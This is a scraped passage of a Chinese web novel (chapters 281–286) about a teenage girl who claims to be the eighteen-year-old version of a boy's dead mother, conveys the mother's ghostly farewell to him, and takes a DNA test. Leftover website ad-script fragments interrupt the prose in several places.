本就是被噩梦惊醒的,小少年此时脾气能好才怪。 小少年第一时间语气不善道:“你干嘛无声无息的站我身后,是想把吓死吗?” 男人:“……” 他没和小少年去争论这种幼稚的问题,而是问道:“大晚上的不睡觉,来找我有事吗?” “我才……” 小少年刚想说自己才不是来找他的,可话到嘴边拐了个弯。 “那个骗子你查到是谁了吗? 是个人作案,还是背后有人? 想当我后妈,哼,我倒要看看是怎样的货色。 还有在电话里,口头上占了我那么多次便宜,我……” 小少年的话还没说完,一手机屏幕就对到了他面前,而男人的声音紧跟着响起。 “你先看看,这是那骗子的照片。” 男人说完,眸底极快的闪过一道冷厉之色。 到底是谁这么厉害,竟然能找出这么个人来。 哪怕是整容出来的,那也很厉害。 他的人花了大半天的时间,竟然查不到这女人的任何信息。 说人是凭空出现的有点夸张,可事实就是他的人什么都没查到。 这样的手段和手笔,可见背后之人能量之大,所图之大。 就算小少年这会没自己找上门来,明早男人一样会将照片给人看的。 只有千日做贼的,哪有千日防贼的。 第281章 灭世反派的早死亲妈(11) 当小少年看清手机屏幕上照片里的人长相后,一声轻轻的呢喃脱口而出。 “妈……妈妈!” 小少年的呢喃声很低很低,可离他很近的男人还是听到了。 男人轻皱了下眉,平静的脸上出现一道寒意。 费心思整出这么个女人来的那些人,还真是该死啊! 小少年再抬眸时,眼眶红红,说话的声音也有些沙哑。 “你说这些是……打电话给我的那骗子的照片?” 他有一本厚厚的相册,里面全是他和妈妈以及外公外婆的照片。 有些是妈妈还在时就洗出来的,还有些是保存在妈妈手机里,他后来才洗出来的。 这本相册他时不时总会拿出来翻看,里面关于妈妈的每一张照片,他都铭记于脑。 那骗子怎么会长得和妈妈十七八岁时一模一样? 想到某种可能,小少年不知何时捏紧的拳头在发颤。 他红着眼眶瞪视男人,“我妈是独一无二的,谁都不能替代!” “嗯。” 男人微微颔首,下意识伸手想去摸小少年的头。 本以为会被小少年躲开的,没成想…… 一大一小两人皆是愣了下,当然男人也只是轻抚了下,就快速收回手。 两人之间的氛围尴尬了那么一瞬,还是小少年出声打破了此刻的安静。 “那骗子你打算如何处理,把人抓起来了吗?” 小少年咬牙切齿,双眸里燃烧着怒火。 男人淡声道:“嗯,让人去把人请回来了,明晚就能到。” “人到了喊我下,我想见见。” 小少年说完,磨了磨牙。 他倒要亲眼看看,是不是真和他妈长得一模一样吗? “行”,男人答应的很爽快。 “很晚了,回去睡吧。” “嗯。” …… 不得不说白幺幺还真能睡。 白天睡那么多小时了,在车上又作了两场,消停着消停着就打起盹来,然后慢慢的就睡沉过去。 车上的几人发现她睡着后,明显松了口气。 这都几岁的小姑娘了,怎么如此能折腾。 不过话说回来,这小姑娘那张脸还真有欺骗性,瞧着明明是个乖巧的,哪成想闹起来是这样的。 几个大老爷们结婚的庆幸自家没生闺女,未婚的则在想,以后结婚了还是要儿子吧,敢瞎闹腾直接给一顿揍就行了。 白幺幺这一睡直接睡到了早上快六点。 醒来时,她第一时间揉着脖子哼哼唧唧起来。 “我的脖子都睡僵了,这赖你们,等下先送我去吃个美味的早餐,然后再送我去做个按摩spa! 不然,不然我就要就要绝食,还要跳车。 哼,我刚刚可是往车窗外瞅了一眼,我们现在可没在高速上了。 刚好给你们一个将功补过的机会,只要等会儿让我满意了,之前你们虐待我的事,我就不和我儿子告状了。 唉,没办法,谁让我是如此的人美心善。” 车上的几个大老爷们:“……” 不养闺女的心更坚定了。 坐在白幺幺旁边的女人:“……” 不确定白幺幺只是在吓唬人,开玩笑的,还是认真的。 她忙小声劝道:“你,你别冲动,按摩spa啥的随时都可以做,但跳车这种事可千万使不得。 还有你睡着的时候,我有听到前面的大哥接到一个电话。 我凑上前去偷听了,好像是对面那谁安排了私人飞机过来接你,这样我们预计下午就能到达目的地。 ……那个是不是下午到了,我们,我们就能见到安安了?” 女人原本是劝人的,可劝着劝着,她神色变了,有些紧张起来。 “你说十四岁的安安长什么样子? 他小时候手长脚长的,我当时就想,他长大以后,身高肯定不会矮的。 就是不知道,他现在具体多高了? 男孩子的身高,先天基因影响很大,可后天因素同样很重要。 还有,安安小时候很爱笑的,也不知道现在长大了是不是一样爱……” 女人的声音戛然而止,因为她想到了,儿子未来都有了灭世之举。 他…… 没有妈妈的孩子,应该吃了很多苦吧。 生活以痛吻我,我却报之以微笑。 这句话她很喜欢,也按照这句话在活着。 可是她的安安还那么小,她更希望 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他痛了不想笑就别笑,想哭就大声哭出来。 她离开的时候,安安才五岁多。 后来安安经历了什么她一无所知,也仅仅是和那个神秘的地方做交易时,才从那个地方得到一个简单的信息。 她的安安未来竟然选择灭世。 她第一时间想的不是安安怎么可以做这种事,而是在她不在的日子里,安安到底受了多大的委屈。 …… 不然咋说一物降一物。 瞧着原本是劝她别作的女人,说着说着就把自己说哭了。 白幺幺同志不消停都不行。 她不 知道怎么安慰人,而且此刻车上有其他人在,她也不方便出声安慰人。 其实小反派被亲爸找回去后,日子过得还是不错的。 如果那男人不是个短命的,能多活长一点,小反派应该走不到灭世这一步。 车内的几个大男人严阵以待,他们已经用眼神交流过了。 如果等下,小姑娘真闹着要跳车,那就直接把人打晕得了。 然后到下飞机前,都不要让人醒来了。 只是没想到,这回小姑娘就是雷声大雨点小,或者说根本没雨点。 他们又对视了一眼,一时根本不敢放松警惕。 白幺幺:“……” 打晕她? 真当她囔着找儿子告状是囔着好玩的呀! 之后一路上,白幺幺都没再作。 没办法,她可不想再莫名其妙把旁边人惹哭了。 再说了,作那么几次也够了。 她是要当小公举,又不是要当纯作精。 而一切的出发点,那不过是被偏爱的有恃无恐。 换了交通工具,时间大大的缩短了。 下午了两点多,他们就到达了京市。 车子停稳后,白幺幺没自己开门下车,而是等着人给她开。 第一时间下车给白幺幺开车门的一米八九大高个:“……” 这小姑娘有毒吧! 他赶紧将养出来的那么一点点奴性消灭。 因着白幺幺后面都没再作,他们请示了下,就带着人往屋里走去。 并没将人绑起来,嘴堵上,或者是把人控制住,架着走。 第282章 灭世反派的早死亲妈(12) 很快,白幺幺被带到了地下室一间经过特殊改造的房间里。 房间里装有监控,覆盖了每个角落。 而房间装修风格,就是类似防止嫌疑犯自残自杀的审讯室装修风格。 白幺幺:“……” 她佯装没见过这种装修风格,开始好奇的左看看,右瞧瞧,这摸摸,那敲敲。 而下车后,紧跟她身旁女人的只要一听到脚步声或者啥动静,就会循声看去。 白幺幺知道她此时很紧张,所以被关到地下室,她也没作。 这让送她下来的大高个很是诧异,离开时,还是忍不住又看了白幺幺两眼。 把人带进羁押室来,他也不怕小姑娘再闹腾了。 因为他的工作完成,再闹腾也不关他的事了。 才一二十平的空间,白幺幺很快就好奇完了。 脸上笑意渐渐淡下去,她找了个位置委屈巴巴的坐着。 大约过了十几分钟,门开了。 三个人走了进来,其中有一个还是“老熟人”,正是把白幺幺从两千多公里外带到京市几个大老爷们中的一个。 在众人没反应过来时,白幺幺霍的从椅子上站起来,一下子窜到为首之人面前。 她手速极快的伸手将人抱住,热泪盈眶的开始告状。 “儿子,妈妈终于见到你了,你都不知道这一路上那几个大高个是怎么虐待妈妈的。 妈妈是个人美心善的,就不跟他们大计较,你等下看着帮妈妈小小惩罚下他们就行。 对了,儿子,你是吃什么长大的,也推荐给妈妈下。 十四岁就长到,嗯,有一米九了吧! 简直羡慕死妈妈了,妈妈都十八岁了,才一米六九,就差一厘米,一厘米就能一米七了。 儿子,你怎么不说话,是不是见到妈妈太高兴了?” 白幺幺的动作太快了,萧禹洲还没来得及反应,就被她像炮弹一样撞上来,而后两只手像铁钳似的紧紧将他箍住。 萧禹洲反应过来后,脸色瞬间冷得骇人。 伸手就想直接将人拉扯开,然后甩出去。 只是—— 他发现他的手根本抽不出来,对方的力气实在太大了。 他试着用力挣脱,也挣脱不开。 白幺幺察觉到被她箍在双臂间的人在挣扎,可就是使出吃奶的劲也挣脱不开。 她在心里暗暗偷笑,甚至都想吹个口哨了。 重塑的身体还真挺不错的,不仅让她直接变十八岁,还有隐藏福利。 身体好几项指标数值都拉满了,特别是力量这块。 白幺幺现在的力气,可比普通人大不少了。 跟着萧禹洲进来的两个手下:“……” 儿……儿子? 那,那小姑娘竟然喊他们佛爷儿子?! 这是不是喊反了,小姑娘应该是要喊他们佛爷爸爸的吧! 特别是那个和白幺幺相处过十几个小时的大高个,他此时表情那叫一个精彩。 白幺幺身旁的女人:“……” 萧禹洲进来时,她看清人的长相后,神情随即一阵恍惚。 当妈的,不可能认错自己的孩子的。 她第一时间就知道这人不是安安。 只是白幺幺的动作实在太快,连她都没反应过来。 等她反应过来时,就看到白幺幺已经激动的将人抱住了。 一瞬间,她的紧张以及其他复杂情绪消去大半。 她在旁边忙提醒道:“错了,错了,他不是安安。” 白幺幺侧头看向女人,用眼神询问,“不是吗?怎会不是?” 女人看懂了白幺幺的意思,又忙解释起来。 “他太高了,安安才十四岁,长不到这么高的。 还有,还有他瞧着年纪应该不小了,不像十四岁的。 你,你快将人放开,别被人给占便宜了。” 白幺幺仍紧紧把人箍住,不死心的直接问被正主。 “儿子,你怎么会不是我儿子?你就是我儿子对吧! 虽然的确是长得非常着急了点,但是一眼就将你认出来,是妈妈该做的。” 还想说什么的女人:“……” 话直接卡喉咙里了,她这时也反应过来了。 白幺幺哪里是认错人,根本就是故意在玩人的。 她有些无奈的摇了摇头,看白幺幺的眼神,复杂中还带着些许纵容与宠溺。 她一直都是完完全全将十八岁的身体与 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 里面灵魂区分开。 或许是当妈了的原因,她还总是下意识的将白幺幺当妹妹来看待。 暗暗在心里感慨,这样活泼的性子,陪在安安身边,日子应该很热闹吧。! 萧禹洲试着挣扎好几次,皆无果。 他正要说什么时,就听到对方又说什么呢? 他长得非常的着急?! 萧禹洲周身温度骤降,冷眸微眯,杀意迸发。 察觉到那毫不掩饰,不断外放的杀意。 白幺幺:“……” 她一点不担心会把自己玩脱了。 跟着萧禹洲进来的两个手下此时真的有点懵,他们也感觉到佛 爷外放的杀意了。 只是这杀意是对谁的? 难道是还抱着他,喊他儿子的小姑娘? 理论上应该是的。 可现实是,佛爷还让人抱着,没把人甩开了。 这又要怎么解释? 两人一时也只能愣愣的站着,继续静观其变了。 而这时开门声响起,小少年微沉着张脸走了进来。 然后他看到了什么? 小少年愤怒的低吼,“你们在做什么?” 房间里所有人齐齐看向小少年,只不过神色各异。 白幺幺瞪大眼睛,表情惊异。 她一会儿看看还被她紧紧箍着人,一会儿看看刚进来的小少年。 然后瞬间秒变脸,十分嫌弃的将怀中人推开,快速奔向进来的小少年。 同样的操作,直接一把将人圈在怀里,不过这会动作就温柔了不少。 “儿子,呜呜,儿子,妈妈经历长途跋涉,还被虐待,现在终于找到你了。 对了,刚刚还有个人冒充你,占妈妈的便宜。 儿子,妈妈真不是骗子,不信你之后可以验dna的。” 白幺幺借着抱着人动作,用只有两人能听到的声音说道:“儿子,我真的是妈妈,不过是十八岁的妈妈,有一天,我的意识里突然出现了一道声音。 她自称是未来的我,还说再过不久爸爸妈妈就会出事……” 白幺幺说到这,停顿了下,“儿子事情有点长,一时没办法长话短说,咱们先说更重要的事吧。” 第283章 灭世反派的早死亲妈(13) “不过”,白幺幺话锋一转,“咱们要避开这些外人说,这么重要的秘密肯定不能让这些外人听了去。” 小少年也就是白泽安,他此时脑袋嗡嗡的。 白幺幺说什么,他都听进去了,每个字他也都认识。 可连在一起什么意思,他就不知道了。 十八岁的妈妈? 十八岁的妈妈?! 这是何等的天方夜谭,可,可如果是真的呢? 他眼眸转动,目光落在白幺幺的右侧鼻翼上。 当看到上面那颗比芝麻粒还小一点点的黑色小痣时,他眼眸倏地睁大了一圈。 再想到对方连验dna都自己提出来了,还一副根本不怕他们验的模样,白泽安内心开始动摇了。 被嫌弃推开的萧禹洲:“……” 他只是怔愣了下,深如寒潭的目光射向白幺幺后背。 亲身体验过白幺幺那非人的大力气后,他知道对方若是想伤人,刚刚趁着他无法反抗时就可以动手,当然也包括现在。 很显然对方的目的不在于此。 而且,一切似乎透着点诡异。 他刚刚仔细查看那张脸了,没有任何动过刀子的痕迹。 萧禹洲一时安静站在那,神色除了冷,还是冷,倒是让人猜不出他在想什么。 虽领教过白幺幺的嘴皮子,可当听到冒充,占便宜几个字眼时,他脸皮还是微不可察的抽动了下。 而他的两个手下,此时那表情比坐过山车还精彩。 其中那个白幺幺的“老熟人”,他的嘴巴张得都能塞进个大鸭蛋了,脑中就全是问号加感叹号。 啥情况?! 到底啥情况?! 还有虐待完全不存在!不存在的呀!! 萧禹洲看到两人还旁若无人的说起悄悄话来,他冷眸微凝了下,继续保持沉默,没有动作。 有些事一味的防着,根本不是最好的方法,而且总要知道对方的真实目的。 当然还有一点,萧禹洲的直觉一向很敏锐。 从见到人开始后,他心中隐隐生出了有什么要脱离掌控的感觉。 而现在,这种感觉还越来越强烈了。 白幺幺若是知道他有这种疑问,一定很乐意给他解答的。 什么要脱离掌控? 这种问题,简直不要太简单。 嘿嘿,不就是生活呗! 女人从白泽安进来后,眼中除了他,就再也容不下其他了。 她捂着嘴,眼眶一下子就盈满了泪,可就是拼命忍着不让眼泪掉下来。 白幺幺做贼似的快速移动眼珠子,朝身旁女人看了眼。 然后她又和人说起悄悄话来,语气有些急。 “安安,你快带妈妈去一处可以说秘密的地方,她,就是我脑中出现的那道声音,她有很重要的话想让我带给你。” 白幺幺那动作根本没逃过白泽安的眼睛,他猛地想到了一种可能,眼眸颤了颤。 心里有道声音在叫嚣着,相信她,相信她,快点按照她说的去做。 “你……你先放开我,然后跟我来。” 话不经大脑说出口后,白泽安发现他竟然暗暗松了口气。 既两人旁若无人的聊上,现在又无视旁人的离开了。 白泽安只是犹豫了下,直接把人带到了他的房间里。 进到房间,他还不忘把门给锁上。 不是白幺幺的话他全信了,而是他在白幺幺身上没有感受到恶意。 他可不是被保护在象牙塔的小孩子,是经历过人心险恶的。 这样就把人带到自己房间里的行为是冲动了点,可让他还是这么做了。 “说吧!” 白泽安看着白幺幺,眼神故作凶狠的威胁,仿佛她要是敢骗他,他就扑上去咬死她。 而他又不是三岁小孩,不能人家说什么,他就信,但不妨碍他先听听。 白幺幺抽了抽鼻子,似是被白泽安的语气态度伤到了。 她委委屈屈的开始编故事,还尽量讲得简明扼要。 不然,时间就真的来不及了。 故事么,很简单的。 就是一聪明伶俐,人美心善的十八岁高中生,她脑中突然出现一道声音。 那道声音自称是未来六年后的她,然后说了很多别人不能知道,只有这个高 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 中生才知道的秘密。 高中生信了脑中那道声音的话。 紧接着那道声音和高中生讲了很多未来发生的事,她想让高中生救下父母,改变父母的命运。 可是她又怕这样会不会产生蝴蝶效应,她的儿子安安是不是就不会来到这个世界了。 脑中那道声音和高中生讲了,她未婚先孕的事,讲了她当单亲妈妈的生活,还讲了很多关于儿子安安的,以及她死后,更是以灵魂状态陪在儿子安安身边好几年。 通过脑中那道声音的描述,高中生还试着画出来了她说的儿子画像。 一切的经历是那么的神奇,很多事情也还在验证,和试图去改变中。 可是,才睡一觉的功夫。 高中生再睁开眼睛时,一切都变了。 她竟然身穿 到了十四年后! 高中生很慌,她想到脑中那道声音说的如果是真的。 那么十四年后的未来世界,她和爸爸妈妈都不在了。 不,她应该还要有个儿子的。 彷徨无助的时候,高中生想到要找这个素未谋面儿子。 …… 因为整个故事太过离奇了,白幺幺毕竟才是个十八岁的高中生。 她讲得有点乱情有可原,反正听的人能大概听清楚就行了。 当白泽安听到妈妈死后,还一直以灵魂状态陪在他身边时,眼泪再也崩不住了。 颠三倒四的将故事讲完后,白幺幺扫向身影已经开始有淡化迹象的女人,垂在双侧手情不自禁的收拢,握紧。 伸手拍了拍已经泣不成声的小少年,等人抬眸看过来时,白幺幺才说:“她,她还有些话想让我转述给你听。” “什……什么话?” 白泽安激动的擒住白幺幺的手腕,力道有点大。 仿佛是害怕白幺幺话还没说完,人可能就会像她说的,毫无预兆的就来到了这世界,然后也会毫无预兆的就又离开这个世界。 白幺幺清了清嗓子,快速酝酿了下情绪,将女人说那番话时的神情和语气完美复刻出来。 “安安,妈妈这辈子没有后悔生下你,妈妈真的很爱很爱你……” 第284章 灭世反派的早死亲妈(14) 也不知道是小少年猜到了什么,还是母子间冥冥之中的感应。 听完白幺幺的转述,小少年悲痛欲绝的扑通跪地。 而在跪地时,他身体还往左边侧了侧身,好巧不巧的,就是正正好对着身影还在继续变淡的女人。 “不……不后悔……安安不后悔的,这辈子当妈妈的儿子,安安不后悔的,下辈子,下下辈子,安安还想继续当妈妈的孩子。 呜呜,妈妈,安安不后悔,不后悔的,妈妈,你听到了吗? 安安不后悔做妈妈的孩子,安安想永远当妈妈的孩子……” 看着儿子突然朝她跪下,声声说着他不后悔,还想永远当她的孩子。 女人笑了,笑得很美很美。 白幺幺也想抹泪了,为什么这种分别的场面只有她才能看到。 女人深深看了儿子一眼,而后转头看向白幺幺。 此时,她的身影已经快变得近乎透明了。 “谢谢。” 随着这一声话落,女人的身影彻底消失了。 似是感应到什么,小少年嚎啕大哭起来,边哭还边喊着,“妈妈,别走,妈妈,别离开安安……” 白幺幺:安慰人是不可能安慰人的,最多等人哭岔气了,再去给人拍拍背。 白泽安悲痛的放声痛哭,哭声很大。 即使房间隔音效果很好,屋外站着的人还是隐隐能听到些。 萧禹洲放下准备敲门的手,安静的站在门外没有离开。 白泽安哭了很久很久,哭到嗓子都哑了才慢慢停下来。 白幺幺早去床上坐着看人哭,不过人始终没哭岔气,所以她根本无用武之地。 等哭声停了,白幺幺才起身走过去。 她朝坐地上的人伸出手,“儿子,妈妈饿了,快先带妈妈去吃饭。” 刚痛哭一场的白泽安:“……” 他刚刚似乎只顾着哭,然后好像忘记什么了?! 见人只是傻愣愣的看着她,没其他反应了。 白幺幺干脆蹲下身去,伸手在人面前晃了晃。 “儿子,儿子,妈妈在跟你说话了,你有没有听到?” 随着她的动作,白泽安仿佛受惊了般,霍的起身。 同时还往后退开两步,与白幺幺拉开了些距离。 他张嘴想要说什么,可憋了好久,就憋出一个“你”字。 白幺幺见人这动作,当即露出万分受伤的表情。 她伸手抹着根本不存在的眼泪。 “儿子,你是不是不要妈妈了?呜呜,还是你嫌弃妈妈太年轻貌美,只有十八岁? 我在这个世界就只有你一个亲人了,要是你也不要妈妈,那妈妈就只能离开,去过凄凄惨惨戚戚的流浪乞讨生活了。” 白幺幺说着,看了人一眼,转身一步三回头的就要离开。 在她走出去三四步时,白泽安着急的将人喊住了。 “停……停下,你,你先别走,不是说要验dna吗? 你可以先在这里住下,其他的等验了dna,结果出来后再说。” 白幺幺听后,满意的转身点头。 “好呀,等dna结果出来,安安你就知道我真的是妈妈,没骗你的。 还有,到时候,安安你是不是你就可以喊我妈妈了?” 白泽安:“……” 他有点逃避似的嘴硬道:“dna结果没出来,谁知道你说的那些是不是胡乱编出来骗我的。” 白幺幺:“……” 真是个爱嘴硬的孩子。 再说了,请看她的脸,像骗子吗? 假的真不了,真的假不了。 反正吧,白幺幺同志知道自己是“真”的,所以继续作的底气足足的。 她摸着肚子,语气理所当然,一点都不见外,甚至还带上点撒娇的味。 “儿子,我饿了,赶紧先带我去吃饭吧!” 白泽安很想说结果没出来前,可以先不要儿子儿子的喊他吗,可是他发现自己根本开不了口。 先不说对方有大几率真是十八岁的妈妈,就说只要存在一点点是的几率,他现在都没办法对人说什么太过分的话。 而让人不要喊他儿子,这应该算很过分的话。 好多话在嘴里绕了一圈,都被否了。 在白幺幺皱着眉用眼神催促时,白泽安才有些不自在的说: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “我先带你去吃饭,吃完我们就去医院。” 白幺幺随意的应道:“好啊。” 她走在前面,伸手去开门。 门开时,四目相对。 白幺幺先声夺人,“你干嘛偷偷摸摸躲在门口,是不是想偷听我和我儿子说话? 哼,我还没和你算账了,刚刚既然不是我儿子,为什么不说? 让我抱了你那么久,让你占了我那么久的便宜,还差点让我儿子误会了。” 落后两三步的白泽安:“……” 他的目光绕过前面的人,落在门口的人脸上。 萧禹洲无视掉两人的目光,也不开口解释。 最后还是白泽安伸手拉了拉白幺幺的衣服,和人小声道:“你不是饿了吗?我们先去吃饭,其他的吃完饭 再说。” 白泽安想法很简单的,总不能让两人在门口吵起来。 到时,到时,人要是吃亏了,他要怎么做。 经他这么一提醒,白幺幺放弃了与萧禹洲计较,开心和儿子吃饭去。 不过经过某人时,她还不忘朝人冷哼一声。 原剧情中,要是这男人早点找到原主和小反派。 不说来场先婚后爱啥的,起码原主应该就不会死,小反派也不会成为小反派。 之后要是这男人能争气点,不要是个短命的,小反派最后也不会走到灭世那一步。 白幺幺知道她这是不讲道理的迁怒,哼,不过那又怎么样。 到了楼下客厅,白泽安按照白幺幺的要求,将厨师喊来。 厨师过来后,白幺幺先是将人打量一遍,才开始点菜。 有钱人的厨师,没点本事,早回去吃自己了。 她点的六道菜,厨师都会做。 虽不清楚白幺幺的身份,但看到她旁边坐着的小少爷。 厨师还是很认真记下白幺幺对每道菜的要求,而后麻溜的回厨房去做菜了。 “儿子,家里厨师的手艺怎样?反正等下要是不好吃,我可不吃哦!” 正离开的厨师脚下一个踉跄,差点摔了。 儿……儿子? 他,他应该是听错了吧! 第285章 灭世反派的早死亲妈(15) 随着时间的沉淀,白泽安和白幺幺相处起来没有越发自然,反而更加拘谨,不自在了。 白幺幺和他说话时,白泽安根本不好意思看着人,尽管知道这样很不礼貌。 听到白幺幺开口没有意外的又是喊他儿子,他下意识朝还没走远的韩师傅看去。 果然,韩师傅还是听到了。 白泽安给自己做好心理调整,才说:“韩师傅的厨艺很好,参加过多次世界级烹饪大赛,还都有获奖,所以你放心,他做的菜肯定好吃。” “真的吗?那妈妈等下一定要好好的品尝。” 白幺幺听后,当即期待感拉满了。 等吃饭的时间里,白幺幺总是时不时的找白泽安说话。 啥都说,啥都问,没一个具体的倾重点。 十八岁的年纪么,正是春花烂漫时,青春活泼,眼里有光。 至于性格问题会不会引起怀疑,呵呵先不说他们又没和十八岁的原主相处过。 就说有几个人在外展现出的性格,就是他们真实的性格。 “儿子,你有喜欢的小女生吗?或者你有交小女朋友吗? 没有也没事,学校里应该有很多眼光很好的小女生喜欢你吧! 要不找个时间,咱们找个理由把她们都请来家里,或者你们学校啥时候开家长会,妈妈过去给你开。 嘿嘿,到时顺便帮你瞅瞅这几个小女生,给你先把把关。 儿子,你放心,妈妈不反对早恋的,不过前提是必须不能影响到双方学习。 当然,你们年纪还小,必须只能是谈柏拉图式的恋爱,连牵小手手都不行的哦! 儿子,从校服到婚纱的爱情,你值得拥有,加油,我看好你。 所以,快点回答妈妈的这几个问题,还有和妈妈说说你喜欢什么类型的小女生?” 亮晶晶的黑眸中闪着八卦兴奋的光,白幺幺凑近人些,眸光紧紧盯着人脸上看。 要是回答时撒谎了,她一看一个准。 这话题跳跃度太大了,前一分钟,他还被追着问是吃什么才长这么高的。 这个问题很好回答,他还暗暗在心里松了口气。 可是下一秒的这个话题,简直,简直…… 别说面前是他疑似十八岁的妈妈,就是他妈妈还在,如此敞开的和他聊这种话题,他也很难以启齿的好吧。 小少年脸一下子都臊红了,真有点快招架不住了。 他语气有些急的说:“我没有喜欢的人,也没有人喜欢我,还有我不早恋的。” 白泽安撒谎了,他是没有喜欢的人,可禁不住有人喜欢他呀,人数貌似还不少。 可是这个他能说吗? 不,他不能说,也……不敢说。 白泽安没有怀疑对方会不会按照她说的付诸行动,反正光想想那个画面,小少年就有些头皮发麻。 白泽安不是不会面不改色的撒谎,可能是因为面前的人有点特殊。 他这谎说得表情根本不到位,直接犯了撒谎最大的忌讳,眼神飘忽闪躲了。 白幺幺:“……” 这让她想偷偷放点水都不行啊。 她伸手极快扯住小少年不算白,但还挺嫩的脸颊肉。 小少年稍稍挣扎了下,无果,只好认命了。 白幺幺冷哼一声。 “儿子,撒谎可不是啥好习惯,当然视情况而定,你有需要的话,还是可以对外人撒谎的。 但怎么可以对妈妈撒谎呢? 妈妈含辛茹苦把你生……儿子,你该不会因为不是我这个妈妈把你生下来的,所以你搞起区别对待那套,你……” 白幺幺抽回捏人脸的手,转过身去,顾自生闷气,不理人了。 白泽安:“……” 他没有区别对待的,真的。 刚刚的话题,他无论对哪个妈妈回答都是一样的。 不是,dna都没还验,是不是妈妈……还不一定了。 只是,外公外婆没出事前的妈妈是这样子的吗? 真好! 白泽安懊恼的想摇头,他在想什么。 dna还没做,谁知道结果是什么。 不过—— 小少年看着背对着他,明显在生气的人,他一时还真有些无措了。 双唇张了又合,合了又张,小少年皱着眉像是遇到啥大 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 难题了。 这时,之前离开的厨师韩师傅刚好走过来。 他第一时间就看到自家小少爷那副欲言又止的模样,而后发现自家小少爷是对着刚刚点菜的小姑娘的背影露出这副表情的。 这是吵架呢? 韩师傅觉得挺新奇的。 小少爷自从被找回来后,不仅不愿改姓,对家主的态度也很冷,到现在都没喊过家主一声爸爸。 平时表现出来的是不符合这个年纪的沉稳淡漠,对什么都漠不关心。 就他知道的,唯一能牵动小少爷情绪,只有小少爷那早逝的亲妈。 他可是听说,才有人胆大的跑去墓园里打扰了这位的长眠,差点就被小少爷打死了。 韩师傅就觉得那几个小混蛋还真是不知死活,别不是见到小少爷没改姓 萧,就以为小少爷根本没得到萧家的认可,在萧家地位不高吧! 不过反过来想想,不知内情的会有这样的误会,其实一点也不奇怪。 事实上,恰恰相反,家主很重视小少爷的。 而且,小少爷被接回来的第一天晚上。 他出于对小少爷的好奇,亲自端着菜出去。 然后他听到了什么? 家主在亲口对小少爷做出保证,他以后不会有第二个孩子了。 这意味着什么,小少爷是萧家唯一的继承人。 听到脚步声,白泽安收起脸上表情。 回头看到走过来的是韩师傅,他问道:“可以用餐了?” “是的,小少爷,六道菜都按这位小姐的要求做好,端出来摆上桌,您和这位小姐可以移步餐厅用餐了。” 韩师傅就是好奇,才亲自过来的。 要离开时,他迟疑了下,还是回头补充了句,“小少爷,那个,有几道菜还是要趁热吃味道更佳。” 得到了一句“知道了”的回复,韩师傅才不再迟疑的离开了。 小少年瞅着依旧拿背影对着他的人,他咬了咬唇。 “撒谎是我做得不对,但我真的没有区别对待。” 见到人依旧没转过身来,可是……耳朵动了动。 白泽安:“……” 第286章 灭世反派的早死亲妈(16) 小少年继续斟酌着语句说道:“那个,那个韩师傅说饭菜做好了,他还说要趁热吃才好吃。 你不是饿了吗? 要不你,你先去吃饭,吃完了再回来继续……生气?” 白幺幺:“……” 她猛地回头,“我没有生气!我就是有点伤心,都是你妈,你却区别对待! 还有我刚刚就是开玩笑的,十八岁第一次当妈,啥也不懂,我不是担心和你有代沟么!” 白泽安表情认真的说:“我,我真的没有区别对待。” “你就有。” “我没有。” “就有。” “我……dna还没验了,你快先去吃,吃完我们去医院。” “哼,行,等结果出来,你就知道我真的是你妈,同样是你妈,反正我是不接受区别对待的哦!” 白泽安很想再来句,他真的没区别对待,可是话到嘴边又给收回去了。 白幺幺安静的吃了半个多小时,白泽安在旁边看着人吃。 两人现在还算在,嗯,冷战。 所以白幺幺没招呼人吃,更没找话和人说。 等白幺幺吃完后,两人一刻不耽误的直接出发去医院。 医院是萧家自营的,他们到时,医院院长刚好在医院,忙屁颠屁颠的出来亲自接待。 医院都是自家的了,不过是做个亲子鉴定,别人需要好几天才能拿到鉴定结果。 他们走了加急流程,只要3到6个小时就能得到结果。 等待结果的过程是难熬的,当然难熬的人只有白泽安一人。 板上钉钉子的事,白幺幺都有点不想留下来等。 她找恨不得化身狗腿子的院长借了手机,玩起游戏来打发时间。 手机之于每个人的重要性,根本不是能随便外借的。 院长他真的很想不借,他很想建议白幺幺要不玩他的办公电脑吧。 可这是他想不想的问题吗? 不是。 院长强装随意不在乎的把手机递给白幺幺,内心却是万般抗拒和紧张的,他的手机里可是有很多的小秘密。 等看到白幺幺真的只是下载了个游戏,而后开始沉浸在游戏中,院长才没那么紧张了。 不管是白幺幺还是院长,都没有注意到,白幺幺接过院长手机时,某人还偷偷看过来了一眼。 这一眼可复杂了,其中包含最多的就是委屈。 没错,就是委屈。 小少年觉得委屈极了。 他也有手机的,为什么不找他借。 还有,之前明明一直都儿子,儿子的喊他,可从误会他区别对待后,就…… 院长有事离开了,房间里只剩下两人。 白幺幺专注玩游戏,白泽安则时不时要偷偷看人一眼。 可惜却没被抓包到半次,然后,他更委屈了。 院长再回来时,是拿着亲子鉴定报告进来的。 进门前,他已经在门外调整好神情了。 被迫知道了个天大的秘密,还已经被警告过了,院长是恨不得今儿没来医院,自己也没凑上来掺和这事。 双手微不可察的颤抖着从院长手中接过亲子鉴定报告,白泽安这回没再偷偷的看,而是光明正大的转头看向白幺幺。 “结果出来了,你不过来看一下吗?” 白幺幺头也没抬,“结果我都知道了,根本没看的必要。” 听了她的话,白泽安拿着报告的手紧了紧。 院长将报告送到,就很有眼力见的麻溜退出去了。 此时房间里只有他们两人,很安静的。 白泽安深呼吸的声音就显得有点大声。 白幺幺最终还是放下手机,侧头颇为无奈的看着人。 “你很紧张?” 白泽安想说没有,可是想到这好像算撒谎,待会人是不是要更生气了,所以他干脆抿着唇不说话。 白幺幺换个问题问,“你不希望我是你妈?” 白泽安依旧是抿着唇没有回答,因为这个问题他一时也不知道要怎么回答。 